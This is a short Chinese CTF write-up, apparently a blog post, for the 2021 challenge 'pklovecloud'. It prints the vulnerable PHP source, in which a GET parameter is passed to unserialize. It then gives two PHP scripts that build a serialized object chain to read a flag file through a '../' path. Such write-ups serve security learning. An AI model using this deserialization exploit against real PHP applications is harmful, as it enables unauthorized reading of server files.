[第五空间 2021]pklovecloud

除了按部就班的根据代码来写序列化

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 
<?php
class acp
{
    protected $cinder;
    public $neutron=NULL;
    public $nova=NULL;
    function __construct()
    {
        $this->cinder =new ace;
    }
}
class ace
{
    public $filename="../nssctfasdasdflag";
    public $openstack;
    public $docker;
}
$c=new acp();
$d=new ace();
$d->docker=serialize($c);
echo urlencode(serialize($c));
?>

也可以直接不给$neutron,$nova,$docker值

<?php

highlight_file(file);

class acp
{
protected $cinder;
public $neutron;
public $nova; 
function __construct()
{
	$this->cinder =new ace ;
}
}

class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker;

}
$b=new acp();
echo urlencode(serialize($b));

?>

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值